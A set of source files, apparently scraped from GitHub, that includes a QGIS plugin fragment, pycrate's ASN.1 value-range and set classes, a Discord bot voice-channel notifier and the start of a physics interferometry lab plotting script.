super(LegendRasterGeom, self).__init__( pluginName )\n\n def _getGeometry(self, layer):\n wkt_geom = layer.customProperty('wkt_geom')\n return QgsCore.QgsGeometry.fromWkt( wkt_geom )\n\n @QtCore.pyqtSlot()\n def zoom(self):\n layer = self.legendInterface.currentLayer()\n geom = self._getGeometry( layer )\n self.polygonEC.setCRS( layer.crs() )\n self.polygonEC.zoom( geom.boundingBox() )\n self.polygonEC.highlight( geom )\n\n @QtCore.pyqtSlot()\n def highlight(self):\n layer = self.legendInterface.currentLayer()\n geom = self._getGeometry( layer )\n self.polygonEC.setCRS( layer.crs() )\n self.polygonEC.highlight( geom )\n\n @QtCore.pyqtSlot()\n def openForm(self):\n layer = self.legendInterface.currentLayer()\n id_table = layer.customProperty('id_table')\n layers_table = [ l for l in self.legendInterface.layers() if id_table == l.id() ]\n if len( layers_table ) == 0:\n msg = \"Layer used for create this image not found.\"\n arg = ( self.pluginName, msg, QgsGui.QgsMessageBar.WARNING, 4 ) \n self.msgBar.pushMessage( *arg )\n return\n table = layers_table[0]\n id_image = layer.customProperty('id_image')\n request = QgsCore.QgsFeatureRequest().setFilterExpression( u'\"id\" = \\'{0}\\''.format( id_image ) )\n request.setFlags( QgsCore.QgsFeatureRequest.NoGeometry )\n feats = [ f for f in table.getFeatures(request) ]\n if len( feats ) == 0:\n msg = \"Image '{}' not found in '{}'.\".format( id_image, table.name() )\n arg = ( self.pluginName, msg, QgsGui.QgsMessageBar.WARNING, 4 ) \n self.msgBar.pushMessage( *arg )\n return\n form = QgsUtils.iface.getFeatureForm( table, feats[0] )\n form.show()\n","repo_name":"lmotta/catalogpl_plugin","sub_path":"legendlayer.py","file_name":"legendlayer.py","file_ext":"py","file_size_in_byte":6320,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"21"} +{"seq_id":"71077368692","text":"from functools import reduce\n\nfrom .utils import *\nfrom .err import *\nfrom .refobj import ASN1Ref\n\n#------------------------------------------------------------------------------#\n# range for integers, reals and some character strings\n#------------------------------------------------------------------------------#\n\nclass ASN1Range(object):\n \"\"\"\n Special class to handle range of values for ASN.1 types that support\n ordering their values (e.g. INTEGER and REAL)\n \n Init args:\n type : str (TYPE_*), type of the ASN.1 object handling the value range\n lb : single value according to the type, lower bound of the range\n lb_incl: bool, indicate if the lower bound is part of the range\n ub : single value according to the type, upper bound of the range\n ub_incl: bool, indicate if the upper bound is part of the range\n \n When type is TYPE_INT or TYPE_STR_*, lb_incl and ub_incl shall always be True\n \"\"\"\n \n _TYPE_STR = (TYPE_STR_IA5, TYPE_STR_PRINT, TYPE_STR_VIS)\n _TYPE = (TYPE_INT, TYPE_REAL) + _TYPE_STR\n \n # methods for emulating a dictionnary\n # this enables to reference path within ASN.1 objects in the form of \n # list of str or int; e.g. path = ['const', 0, 'root', 0, 'ub'] \n def __getitem__(self, kw):\n if kw in self.KW:\n return getattr(self, kw)\n else:\n return object.__getitem__(self, kw)\n \n def __setitem__(self, kw, arg):\n if kw in self.KW:\n return setattr(self, kw, arg)\n else:\n return object.__setitem__(self, kw, arg)\n \n def copy(self):\n \"\"\"\n returns an equal but independent copy of self\n \"\"\"\n if isinstance(self.lb, ASN1Ref):\n lb = self.lb.copy()\n else:\n lb = self.lb\n if isinstance(self.ub, ASN1Ref):\n ub = self.ub.copy()\n else:\n ub = self.ub\n if isinstance(self, (ASN1RangeInt, ASN1RangeStr)):\n return self.__class__(self.lb, self.ub)\n elif isinstance(self, ASN1RangeReal):\n return self.__class__(self.lb, self.ub, self.lb_incl, self.ub_incl)\n \n def expand(self):\n raise(ASN1Err('{0!r}: unable to expand this type of range'.format(self)))\n\n\nclass ASN1RangeInt(ASN1Range):\n \n KW = ('lb', 'ub')\n \n _EXP_MAX = 2**18 # max range that can be expanded\n \n def __init__(self, lb=None, ub=None):\n self.lb = lb\n self.ub = ub\n \n def _safechk(self):\n if not isinstance(self.lb, integer_types + (NoneType, )) or \\\n not isinstance(self.ub, integer_types + (NoneType, )) or \\\n (self.ub is not None and self.lb is not None and self.ub < self.lb):\n raise(ASN1Err('{0!r}: invalid bounds'.format(self)))\n \n def __repr__(self):\n return 'ASN1RangeInt({0!r}..{1!r})'.format(self.lb, self.ub)\n \n def expand(self):\n \"\"\"\n returns a list of integers\n \"\"\"\n if self.lb is None or self.ub is None:\n raise(ASN1Err('{0!r}: unable to expand infinite range'.format(self)))\n elif self.ub - self.lb < self._EXP_MAX:\n return list(range(self.lb, 1+self.ub))\n else:\n raise(ASN1Err('{0!r}: range too large for expansion'.format(self)))\n \n def __contains__(self, item):\n if not isinstance(item, integer_types):\n return None\n elif self.lb is None:\n if self.ub is None:\n return True\n else:\n return item <= self.ub\n elif self.ub is None:\n return self.lb <= item\n else:\n return self.lb <= item <= self.ub\n \n def intersect(self, ra):\n \"\"\"\n returns a single ASN1RangeInt which is the intersection of self and `ra' \n in case they intersect, None otherwise\n \"\"\"\n if not isinstance(ra, ASN1RangeInt):\n return None\n #\n # disjoint sets:\n if self.ub is not None and ra.lb is not None and self.ub < ra.lb:\n return None\n elif ra.ub is not None and self.lb is not None and ra.ub < self.lb:\n return None\n #\n # intersecting sets:\n elif ra.lb in self:\n if ra.ub in self:\n return ASN1RangeInt(ra.lb, ra.ub)\n else:\n return ASN1RangeInt(ra.lb, self.ub)\n elif ra.ub in self:\n return ASN1RangeInt(self.lb, ra.ub)\n else:\n return ASN1RangeInt(self.lb, self.ub)\n \n def unite(self, ra):\n \"\"\"\n returns a single ASN1RangeInt which is the union of self and `ra'\n in case they intersect, None otherwise\n \"\"\"\n if not isinstance(ra, ASN1RangeInt):\n return None\n #\n # disjoint sets:\n if self.ub is not None and ra.lb is not None and self.ub < ra.lb:\n return None\n elif ra.ub is not None and self.lb is not None and ra.ub < self.lb:\n return None\n #\n # intersecting sets:\n if self.lb is None or ra.lb is None:\n lb = None\n else:\n lb = min(self.lb, ra.lb)\n if self.ub is None or ra.ub is None:\n ub = None\n else:\n ub = max(self.ub, ra.ub)\n return ASN1RangeInt(lb, ub)\n \n def diff(self, ra):\n \"\"\"\n returns a 2-tuple of ASN1RangeInt or None, which are the exclusive \n parts of each self and `ra' ranges\n \"\"\"\n if not isinstance(ra, ASN1RangeInt):\n return self, ra\n #\n # disjoint sets:\n if self.ub is not None and ra.lb is not None and self.ub < ra.lb:\n return self, ra\n elif ra.ub is not None and self.lb is not None and ra.ub < self.lb:\n return ra, self\n #\n # intersecting sets:\n # lower set\n if self.lb == ra.lb:\n lset = None\n else:\n lset = ASN1RangeStr(min(self.lb, ra.lb), max(self.lb, ra.lb) - 1)\n # upper set\n if self.lb == ra.lb:\n lset = None\n else:\n if None in (self.lb, ra.lb):\n lset = ASN1RangeInt(None, max(self.lb, ra.lb) - 1)\n else:\n lset = ASN1RangeInt(min(self.lb, ra.lb), max(self.lb, ra.lb) - 1)\n if self.ub == ra.ub:\n uset = None\n else:\n if None in (self.ub, ra.ub):\n uset = ASN1RangeInt(min(self.ub, ra.ub) + 1, None)\n else:\n uset = ASN1RangeInt(min(self.ub, ra.ub) + 1, max(self.ub, ra.ub))\n return lset, uset\n\n def excl_val(self, val):\n \"\"\"\n returns 2 ASN1RangeStr which exclude the value `val'\n \"\"\"\n return ASN1RangeStr(self.lb, val-1), ASN1RangeStr(val+1, self.ub)\n\n\nclass ASN1RangeStr(ASN1Range):\n \n KW = ('lb', 'ub')\n \n def __init__(self, lb=chr(0), ub=chr(0xff)):\n self.lb = lb\n self.ub = ub\n \n def _safechk(self):\n if not isinstance(self.lb, str_types) or \\\n not isinstance(self.ub, str_types) or \\\n len(self.lb) != 1 or len(self.ub) != 1 or ord(self.ub) < ord(self.lb):\n raise(ASN1Err('{0!r}!: invalid bounds'.format(self)))\n \n def __repr__(self):\n return 'ASN1RangeStr(\"{0}\"..\"{1}\")'.format(self.lb, self.ub)\n \n def expand(self):\n \"\"\"\n returns a list of characters\n \"\"\"\n return list(map(chr, range(ord(self.lb), 1+ord(self.ub))))\n \n def __contains__(self, item):\n if not isinstance(item, str_types) or len(item) > 1:\n return False\n else:\n return ord(self.lb) <= ord(item) <= ord(self.ub)\n \n def intersect(self, ra):\n \"\"\"\n returns a single ASN1RangeStr which is the intersection of self and `ra'\n in case they intersect, None otherwise\n \"\"\"\n if not isinstance(ra, ASN1RangeStr):\n return None\n #\n lb, ub, ralb, raub = ord(self.lb), ord(self.ub), ord(ra.lb), ord(ra.ub)\n # disjoint sets:\n if ub < ralb or raub < lb:\n return None\n #\n # intersecting sets:\n else:\n return ASN1RangeStr(chr(max(lb, ralb)), chr(min(ub, raub)))\n \n def unite(self, ra):\n \"\"\"\n returns a single ASN1RangeInt which is the union of self and `ra'\n in case they intersect, None otherwise\n \"\"\"\n if not isinstance(ra, ASN1RangeStr):\n return None\n #\n lb, ub, ralb, raub = ord(self.lb), ord(self.ub), ord(ra.lb), ord(ra.ub)\n # disjoint sets:\n if ub < ralb or raub < lb:\n return None\n #\n # intersecting sets:\n else:\n return ASN1RangeStr(chr(min(lb, ralb)), chr(max(ub, raub)))\n \n def diff(self, ra):\n \"\"\"\n returns a 2-tuple of ASN1RangeStr or None, which are the exclusive \n parts of each self and `ra' ranges\n \"\"\"\n if not isinstance(ra, ASN1RangeStr):\n return self, ra\n #\n lb, ub, ralb, raub = ord(self.lb), ord(self.ub), ord(ra.lb), ord(ra.ub)\n # disjoint sets:\n if ub < ralb:\n return self, ra\n elif raub < lb:\n return ra, self\n #\n # intersecting sets:\n # lower set\n if self.lb == ra.lb:\n lset = None\n else:\n lset = ASN1RangeStr(min(self.lb, ra.lb), max(self.lb, ra.lb) - 1)\n # upper set\n if self.ub == ra.ub:\n uset = None\n else:\n uset = ASN1RangeStr(min(self.ub, ra.ub) + 1, max(self.ub, ra.ub))\n return lset, uset\n \n def excl_val(self, val):\n \"\"\"\n returns 2 ASN1RangeStr which exclude the value `val'\n \"\"\"\n return ASN1RangeStr(self.lb, chr(ord(val)-1)), ASN1RangeStr(chr(ord(val)+1), self.ub)\n\n\nMINUS_INF = (-1, None, None)\nPLUS_INF = ( 1, None, None)\nNAN = ( 0, None, None)\n\ndef real_to_float(realtuple):\n # TODO: Python float default precision is quite bad\n # it would be nice to use the Decimal module to set the floating point \n # precision as required\n # or even better, to use a module dedicated to arbitrary precision floating\n # point operation\n # TODO: moreover, for very large exponent, it will raises an OverflowError\n # as the integral exponentiation will fail\n return float(realtuple[0]*(realtuple[1]**realtuple[2]))\n\ndef real_lowest(rt1, rt2):\n if rt1 == MINUS_INF or rt2 == MINUS_INF:\n return MINUS_INF\n elif rt1 == PLUS_INF:\n return rt2\n elif rt2 == PLUS_INF:\n return rt1\n #\n rt1f, rt2f = real_to_float(rt1), real_to_float(rt2)\n if rt1f <= rt2f:\n return rt1\n else:\n return rt2\n\ndef real_highest(rt1, rt2):\n if rt1 == PLUS_INF or rt2 == PLUS_INF:\n return PLUS_INF\n elif rt1 == MINUS_INF:\n return rt2\n elif rt2 == MINUS_INF:\n return rt1\n #\n rt1f, rt2f = real_to_float(rt1), real_to_float(rt2)\n if rt1f <= rt2f:\n return rt2\n else:\n return rt1\n\nclass ASN1RangeReal(ASN1Range):\n \n KW = ('lb', 'ub', 'lb_incl', 'ub_incl')\n \n def __init__(self, lb=MINUS_INF, ub=PLUS_INF, lb_incl=True, ub_incl=True):\n self.lb = lb\n self.lb_incl = lb_incl\n self.ub = ub\n self.ub_incl = ub_incl\n \n def _safechk(self):\n if not isinstance(self.lb, tuple) or not isinstance(self.ub, tuple) or \\\n len(self.lb) != 3 or len(self.ub) != 3 or \\\n not isinstance(self.lb[0], integer_types) or \\\n not isinstance(self.ub[0], integer_types) or \\\n not all([isinstance(b, integer_types + (NoneType, )) for b in \\\n (self.lb[1], self.lb[2], self.ub[1], self.ub[2])]):\n raise(ASN1Err('{0!r}: invalid bounds'.format(self.__class__.__name__)))\n elif self.lb in (NAN, PLUS_INF) or self.ub in (NAN, MINUS_INF):\n raise(ASN1Err('{0!r}: invalid inifinite bound'.format(self)))\n elif self.lb != MINUS_INF and self.ub != PLUS_INF:\n lb, ub = real_to_float(self.lb), real_to_float(self.ub)\n if ub < lb:\n raise(ASN1Err('{0!r}: invalid bounds'.format(self)))\n elif lb == ub and not (self.lb_incl and self.ub_incl):\n raise(ASN1Err('{0!r}: invalid bounds'.format(self)))\n \n def __repr__(self):\n if self.lb == MINUS_INF:\n lb = 'MINUS-INFINITY'\n elif self.lb[1] == 10:\n lb = '{0!r}e{1!r}'.format(self.lb[0], self.lb[2])\n else:\n lb = '{0!r}*{1!r}**{2!r}'.format(self.lb[0], self.lb[1], self.lb[2])\n if not self.lb_incl:\n lb = lb + '<'\n if self.ub == PLUS_INF:\n ub = 'PLUS-INFINITY'\n elif self.ub[1] == 10:\n ub = '{0!r}e{1!r}'.format(self.ub[0], self.ub[2])\n else:\n ub = '{0!r}*{1!r}**{2!r}'.format(self.lb[0], self.lb[1], self.lb[2])\n if not self.ub_incl:\n ub = '<' + ub\n return 'ASN1RangeReal({0}..{1})'.format(lb, ub)\n \n def __contains__(self, item):\n if not isinstance(item, tuple) or len(item) != 3:\n return False\n elif not all([isinstance(i, integer_types) for i in item]) or \\\n item not in (MINUS_INF, PLUS_INF):\n return False\n #\n if item == MINUS_INF and self.lb == MINUS_INF:\n return self.lb_incl\n elif item == PLUS_INF and self.ub == PLUS_INF:\n return self.ub_incl\n elif real_lowest(self.lb, item) == item:\n return False\n elif real_highest(self.ub, item) == item:\n return False\n else:\n return True\n \n def intersect(self, ra):\n \"\"\"\n returns a single ASN1RangeReal which is the intersection of self and `ra' \n in case they intersect, None otherwise\n \"\"\"\n if not isinstance(ra, ASN1RangeReal):\n return None\n #\n if self.lb != MINUS_INF:\n slb = real_to_float(self.lb)\n if self.ub != PLUS_INF:\n sub = real_to_float(self.ub)\n if ra.lb != MINUS_INF:\n ralb = real_to_float(ra.lb)\n if ra.ub != PLUS_INF:\n raub = real_to_float(ra.ub)\n #\n # disjoint sets:\n if self.ub is not PLUS_INF and ra.lb is not MINUS_INF and sub < ralb:\n return None\n elif ra.ub is not PLUS_INF and self.lb is not MINUS_INF and raub < slb:\n return None\n #\n # intersecting sets:\n # lower bound\n if MINUS_INF == self.lb == ra.lb:\n lb, lb_incl = MINUS_INF, self.lb_incl & ra.lb_incl\n elif MINUS_INF not in (self.lb, ra.lb) and slb == ralb:\n lb, lb_incl = self.lb, self.lb_incl & ra.lb_incl\n else:\n lb = real_highest(self.lb, ra.lb)\n if lb == self.lb:\n lb_incl = self.lb_incl\n else:\n lb_incl = ra.lb_incl\n # upper bound\n if PLUS_INF == self.ub == ra.ub:\n ub, ub_incl = PLUS_INF, self.ub_incl & ra.ub_incl\n elif PLUS_INF not in (self.ub, ra.ub) and sub == raub:\n ub, ub_incl = self.ub, self.ub_incl & ra.ub_incl\n else:\n ub = real_lowest(self.ub, ra.ub)\n if ub == self.ub:\n ub_incl = self.ub_incl\n else:\n ub_incl = ra.ub_incl\n return ASN1RangeReal(lb, ub, lb_incl, ub_incl)\n \n def unite(self, ra):\n \"\"\"\n returns a single ASN1RangeReal which is the union of self and `ra'\n in case they intersect, None otherwise\n \"\"\"\n if not isinstance(ra, ASN1RangeReal):\n return None\n #\n if self.lb != MINUS_INF:\n slb = real_to_float(self.lb)\n if self.ub != PLUS_INF:\n sub = real_to_float(self.ub)\n if ra.lb != MINUS_INF:\n ralb = real_to_float(ra.lb)\n if ra.ub != PLUS_INF:\n raub = real_to_float(ra.ub)\n #\n # disjoint sets:\n if self.ub is not PLUS_INF and ra.lb is not MINUS_INF and sub < ralb:\n return None\n elif ra.ub is not PLUS_INF and self.lb is not MINUS_INF and raub < slb:\n return None\n #\n # intersecting sets:\n # lower bound\n if MINUS_INF == self.lb == ra.lb:\n lb, lb_incl = MINUS_INF, self.lb_incl | ra.lb_incl\n elif MINUS_INF not in (self.lb, ra.lb) and slb == ralb:\n lb, lb_incl = self.lb, self.lb_incl | ra.lb_incl\n else:\n lb = real_lowest(self.lb, ra.lb)\n if lb == self.lb:\n lb_incl = self.lb_incl\n else:\n lb_incl = ra.lb_incl\n # upper bound\n if PLUS_INF == self.ub == ra.ub:\n ub, ub_incl = PLUS_INF, self.ub_incl | ra.ub_incl\n elif PLUS_INF not in (self.ub, ra.ub) and sub == raub:\n ub, ub_incl = self.ub, self.ub_incl | ra.ub_incl\n else:\n ub = real_highest(self.ub, ra.ub)\n if ub == self.ub:\n ub_incl = self.ub_incl\n else:\n ub_incl = ra.ub_incl\n return ASN1RangeReal(lb, ub, lb_incl, ub_incl)\n \n def diff(self, ra):\n \"\"\"\n returns a 2-tuple of ASN1RangeReal or None, which are the exclusive \n parts of each self and `ra' ranges\n \"\"\"\n if not isinstance(ra, ASN1RangeReal):\n return self, ra\n #\n if self.lb != MINUS_INF:\n slb = real_to_float(self.lb)\n if self.ub != PLUS_INF:\n sub = real_to_float(self.ub)\n if ra.lb != MINUS_INF:\n ralb = real_to_float(ra.lb)\n if ra.ub != PLUS_INF:\n raub = real_to_float(ra.ub)\n #\n # disjoint sets:\n if self.ub is not PLUS_INF and ra.lb is not MINUS_INF and sub < ralb:\n return self, ra\n elif ra.ub is not PLUS_INF and self.lb is not MINUS_INF and raub < slb:\n return ra, self\n #\n # intersecting sets\n # lower set\n if MINUS_INF == self.lb == ra.lb or \\\n MINUS_INF not in (self.lb, ra.lb) and slb == ralb:\n # no lower set\n lset = None\n else:\n lset_lb = real_lowest(self.lb, ra.lb)\n if lset_lb == self.lb:\n lset_lb_incl = self.lb_incl\n lset_ub = ra.lb\n lset_ub_incl = not ra.lb_incl\n else:\n lset_lb_incl = ra.lb_incl\n lset_ub = self.lb\n lset_ub_incl = not self.lb_incl\n lset = ASN1RangeReal(lset_lb, lset_ub, lset_lb_incl, lset_ub_incl)\n # upper set\n if PLUS_INF == self.ub == ra.ub or \\\n PLUS_INF not in (self.ub, ra.ub) and sub == raub:\n uset = None\n else:\n uset_ub = real_highest(self.ub, ra.ub)\n if uset_ub == self.ub:\n uset_ub_incl = self.ub_incl\n uset_lb = ra.ub\n uset_lb_incl = not ra.ub_incl\n else:\n uset_ub_incl = ra.ub_incl\n uset_lb = self.ub\n uset_lb_incl = self.ub_incl\n uset = ASN1RangeReal(uset_lb, uset_ub, uset_lb_incl, uset_ub_incl)\n #\n return lset, uset\n \n def excl_val(self, val):\n \"\"\"\n returns 2 ASN1RangeReal which exclude the value `val'\n \"\"\"\n raise(ASN1NotSuppErr('exclude from a Real range'))\n\n\ndef reduce_rangelist(rl=[]):\n \"\"\"\n reduces a list of ranges by reuniting intersecting ones\n \"\"\"\n # reduced list, to be returned\n red = []\n #\n for r in rl:\n if r is None:\n pass\n else:\n # check in case this range can get united within some previous one(s)\n u, united = None, []\n for rr in red:\n u = rr.unite(r)\n if u is not None:\n united.append(red.index(rr))\n # r is growing...\n r = u\n # remove from red all ranges united with r\n for i in united[::-1]:\n del red[i]\n red.append(r)\n return red \n\n\n#------------------------------------------------------------------------------#\n# set of ASN.1 values or range of values\n#------------------------------------------------------------------------------#\n# WNG: in case of TYPE_REAL values, they are managerd in their 3-tuple format\n# hence test for inclusion may fail\n\nclass ASN1Set(object):\n \"\"\"\n Class to handle a set of (range of) values for any ASN.1 types\n \n _rr : list with all individual values in the root set\n _rv : list with all ranges of values in the root set\n _ev : None (if not extendable) or list with all individual values in the \n extension set\n _er : list with all ranges of values in the extension set\n \n root : ordered list with all individual and ranges of values in the root set\n ext : ordered list with all individual and ranges of values in the \n extension set\n \"\"\"\n def __init__(self, d={'root':[], 'ext':None}):\n self._rr = reduce_rangelist([v for v in d['root'] if isinstance(v, ASN1Range)])\n self._rv = []\n self._rv = [v for v in d['root'] if not isinstance(v, ASN1Range) and not self.in_root(v)]\n if d['ext'] is not None:\n self._er = reduce_rangelist([v for v in d['ext'] if isinstance(v, ASN1Range)])\n self._ev = []\n self._ev = [v for v in d['ext'] if not isinstance(v, ASN1Range) and \\\n not self.in_root(v) and not self.in_ext(v)]\n else:\n self._er = []\n self._ev = None\n self._init()\n \n def _init(self):\n \"\"\"\n creates the `root' and `ext' attributes which lists all values and \n ranges of their domain in order\n \"\"\"\n self.root = []\n rv, rr = self._rv, [_rr.lb for _rr in self._rr]\n rv_off = 0\n if rr and rr[0] is None:\n self.root.append(self._rr[0])\n rr_off = 1\n else:\n rr_off = 0\n while rv_off < len(rv) and rr_off < len(rr):\n if rv[rv_off] < rr[rr_off]:\n self.root.append(self._rv[rv_off])\n rv_off += 1\n else:\n self.root.append(self._rr[rr_off])\n rr_off += 1\n if rv_off < len(rv):\n self.root.extend( self._rv[rv_off:] )\n elif rr_off < len(rr):\n self.root.extend( self._rr[rr_off:] )\n #\n if self._ev is not None:\n self.ext = []\n ev, er = self._ev, [_er.lb for _er in self._er]\n ev_off = 0\n if er and er[0] is None:\n self.ext.append(self._er[0])\n er_off = 1\n else:\n er_off = 0\n while ev_off < len(ev) and er_off < len(er):\n if ev[ev_off] < er[er_off]:\n self.ext.append(self._ev[ev_off])\n ev_off += 1\n else:\n self.ext.append(self._er[er_off])\n er_off += 1\n if ev_off < len(ev):\n self.ext.extend( self._ev[ev_off:] )\n elif er_off < len(er):\n self.ext.extend( self._er[er_off:] )\n else:\n self.ext = None\n \n def __repr__(self):\n root = '[' + ', '.join([repr(r) for r in self.root]) + ']'\n if self.ext is None:\n ext = 'None'\n else:\n ext = '[' + ', '.join([repr(e) for e in self.ext]) + ']'\n return 'ASN1Set(root={0}, ext={1})'.format(root, ext)\n \n def is_empty(self):\n return self._rv == [] and self._rr == []\n \n def is_ext(self):\n return self._ev is not None\n \n def __contains__(self, v):\n if self._CONTAIN_WEXT:\n return self.in_root(v) or self.in_ext(v)\n else:\n return self.in_root(v)\n \n def in_root(self, v):\n for r in self._rr:\n if v in r:\n return True\n if v in self._rv:\n return True\n return False\n \n def in_ext(self, v):\n if self._ev is None:\n return False\n for r in self._er:\n if v in r:\n return True\n if v in self._ev:\n return True\n return False\n \n def intersect(self, S):\n \"\"\"\n returns an ASN1Set which root part is the intersection or the root parts\n of self and S, and ext part contains all remaining defined values if self\n and S are extensible\n \"\"\"\n ret_root, ret_root_r, = [], []\n # 1) check if ret is extensible\n if self.is_ext() and S.is_ext():\n ret_ext = []\n else:\n ret_ext = None\n # 2) get the intersection of root ranges\n if self._rr and S._rr:\n for r in S._rr:\n # list of intersection with all root ranges of self \n inter = [r.intersect(sr) for sr in self._rr]\n for r in inter:\n if r is not None:\n if r.lb is not None and r.lb == r.ub:\n # range with a single value\n ret_root.append(r.lb)\n else:\n ret_root_r.append(r)\n ret = ASN1Set()\n ret._rv, ret._rr, ret._ev = ret_root, ret_root_r, ret_ext\n ret._init()\n # 3) check the root individual values\n for v in self._rv:\n if S.in_root(v) and not ret.in_root(v):\n ret._rv.append(v)\n for v in S.root:\n if self.in_root(v) and not ret.in_root(v):\n ret._rv.append(v)\n # 4) build ret extension\n if ret_ext is not None:\n # 4.1) gather both self and S root and extension ranges and remove\n # ret._rv and ret._rr parts of it to put in ret._er\n union = reduce_rangelist(self._rr + S._rr + self._er + S._er)\n ret._er = union\n # TODO: doing holes in ext_r ...\n # ret.ext_r = union - (ret.root_r + ret.root)\n #\n # 4.2) gather both self and S extension individual values\n for v in self._ev:\n if not ret.in_root(v) and not ret.in_ext(v):\n ret._ev.append(v)\n for v in S._ev:\n if not ret.in_root(v) and not ret.in_ext(v):\n ret._ev.append(v)\n # 4.3) add self and S root values not intersecting\n for v in self.root:\n if not ret.in_root(v) and not ret.in_ext(v):\n ret._ev.append(v)\n for v in S.root:\n if not ret.in_root(v) and not ret.in_ext(v):\n ret._ev.append(v)\n ret._init()\n return ret\n \n def excl_val(self, val):\n excl = False\n if self.in_root(val):\n if val in self._rv:\n self._rv.remove(val)\n excl = True\n else:\n for ra in self._rr[:]:\n if val in ra:\n ra_l, ra_u = ra.excl_val(val)\n idx = self._rr.index(ra)\n del self._rr[idx]\n self._rr.insert(idx, ra_l)\n self._rr.insert(idx, ra_u)\n excl = True\n break\n elif self.in_ext(val):\n if val in self._ev:\n self._ev.remove(val)\n excl = True\n else:\n for ra in self._er[:]:\n if val in ra:\n ra_l, ra_u = ra.excl_val(val)\n idx = self._er.index(ra)\n del self._er[idx]\n self._er.insert(idx, ra_l)\n self._er.insert(idx, ra_u)\n excl = True\n break\n if excl:\n self._init()\n\n\ndef reduce_setdicts(sdl):\n \"\"\"\n gets a list of set dicts of a given type (i.e. constraints of type CONST_VAL\n or CONST_SIZE), and reduce them by intersecting their root part, \n and extending their ext part, into a single ASN1Set that is to be returned\n \"\"\"\n return reduce_sets([ASN1Set(sd) for sd in sdl])\n \ndef reduce_sets(sl):\n \"\"\"\n gets a list of ASN1Set for a given type, and reduce them by intersecting \n their root part, and extending their ext part, into a single ASN1Set that \n is to be returned\n \"\"\"\n return reduce(lambda a, b: a.intersect(b), sl[::-1])\n\n","repo_name":"P1sec/pycrate","sub_path":"pycrate_asn1c/setobj.py","file_name":"setobj.py","file_ext":"py","file_size_in_byte":28601,"program_lang":"python","lang":"en","doc_type":"code","stars":363,"dataset":"github-code","pt":"21"} +{"seq_id":"8963572663","text":"from discord.ext import commands\n\n\nclass Voice(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.Cog.listener()\n async def on_voice_state_update(self, member, before, after):\n if member.guild.id == 662503350633365515:\n ch_dic = {\n 669850293407842305: 669850327599546389,\n 669850376341815347: 669850400039370762\n }\n if before.channel is None:\n if after.channel.id not in ch_dic.keys():\n return\n ch = self.bot.get_channel(ch_dic[after.channel.id])\n await ch.send(f\"{member}が{after.channel}に参加しました\")\n if after.channel is None:\n if before.channel.id not in ch_dic.keys():\n return\n ch = self.bot.get_channel(ch_dic[before.channel.id])\n await ch.send(f\"{member}が{before.channel}にから離脱しました\")\n\n #if after.channel and before.channel:\n # if after.channel.id not in ch_dic.keys():\n # return\n # after_ch = self.bot.get_channel(ch_dic[after.channel.id])\n # before_ch = self.bot.get_channel(ch_dic[before.channel.id])\n # await after_ch.send(f\"{member}が{before.channel}から{after.channel}に移動してきました\")\n # await before_ch.send(f\"{member}が{before.channel}から{after.channel}に移動しました\")\n\n\ndef setup(bot):\n bot.add_cog(Voice(bot))\n","repo_name":"Budobudou/2rz-bot","sub_path":"cogs/events/voice.py","file_name":"voice.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"22279503067","text":"import numpy as np\nfrom bokeh.plotting import figure, show, output_file\nfrom bokeh.layouts import column\nimport tools\n\na = np.array([[2, 3.0, 4], [1, 2, 3]])\n\n\nclass data:\n \"\"\"\n Because python does not have structures\n \"\"\"\n\n # I don't care what it does as long it works. Now it is possible to call 'data().meas_2_1'\n # I also tested class without any initializer: it worked as such too.\n @classmethod\n def __init__(self):\n # m (#), d_m (1e-6m), delta_d_m (1e-6m)\n meas_1 = np.array([[20, 40, 60, 80, 100], [43.2, 37.1, 30.9, 24.9, 18.7], [6.8, 6.1, 6.2, 6.0, 6.2]])\n self.meas_1 = meas_1.transpose()\n\n # P_f (bar), m (#)\n meas_2_1 = np.array([[0.65, 0.6, 0.5, 0.4, 0.3, 0.2, 0.1], [12, 12, 9.5, 7.5, 5.5, 4,2]])\n self.meas_2_1 = meas_2_1.transpose()\n\n # P_f (bar), m (#)\n meas_2_2 = np.array([[0.65, 0.6, 0.5, 0.4, 0.3, 0.2, 0.1], [14, 13, 11, 9, 7, 4, 3]])\n self.meas_2_2 = meas_2_2.transpose()\n\n self.pressure_primitive_units = 73.574 # cmHg\n self.pressure = 0.98091 * 1e5 # Pa\n\n # m (#), rot (°)\n meas_3_1 = np.array([[0, 20, 40, 60, 80, 100], [0.6, 5.0, 6.9, 8.4, 9.4, 10.5]])\n self.meas_3_1 = meas_3_1.transpose()\n meas_3_2 = np.array([[0, 20, 40, 60, 80, 100], [1.0, 5.0, 7.0, 8.4, 9.5, 10.6]])\n self.meas_3_2 = meas_3_2.transpose()\n\n self.width_of_glass_plate = 5.59e-3 # m\n\n\ndef plot_wave_length():\n\n fig = figure(x_axis_label='m', y_axis_label=\"dₗ (μm)\") # title=\"Valon kulkema lisämatka interferenssisiirtymien funktiona\",\n\n distance = (50-data().meas_1[:, 1]) * 2 * 1e-6\n m_count = data().meas_1[:, 0]\n\n # fig.circle(m_count, distance, legend=\"mittausdata\", size=10, fill_color=\"white\")\n\n x = np.linspace(0,100,1000)\n k ,k_err = tools.linear_regression_origo(m_count, distance)\n fig.line(x, k*x*1e6, line_width=2, legend=\"sovite\")# legend=\"sovite ∂dₗ/∂m = λ = \"+str(round(k*1e9))+\"nm\")\n fig.line(x, (k+k_err) * x*1e6, line_width=1, color=(0,0,128), line_dash=\"dashed\")\n fig.line(x, (k-k_err) * x*1e6, line_width=1, color=(0,0,128), line_dash=\"dashed\", legend=\"keskivirherajat\")# legend=\"keskivirherajat λ = \"+str(round(k*1e9))+\"±\"+str(round(k_err*1e9))+\"nm\")\n\n fig.circle(m_count, distance*1e6, legend=\"mittauspisteet\", size=10, color=\"black\", fill_color=\"white\", line_width=2)\n\n fig.legend.location = \"top_left\"\n\n print(\"Wave length\")\n print(\" slope i.e. lambda:\", k, \", error: \", k_err,\n \", maxium range in deviation:\", np.sqrt((k_err/np.sqrt(5))**2 + k_err**2))\n\n return fig\n\n\ndef plot_refractive_index_air():\n fig = figure(x_axis_label='Δp (Pa)', y_axis_label=\"Δn\")# title=\"Ilman taitekertoimen muutos paineen funktiona\")\n\n pressure_drop = data().meas_2_2[:,0]*1e5 # Assuming we measured pressure difference to current.\n m_count = data().meas_2_2[:,1]\n\n lambda_0 = 633e-9 # 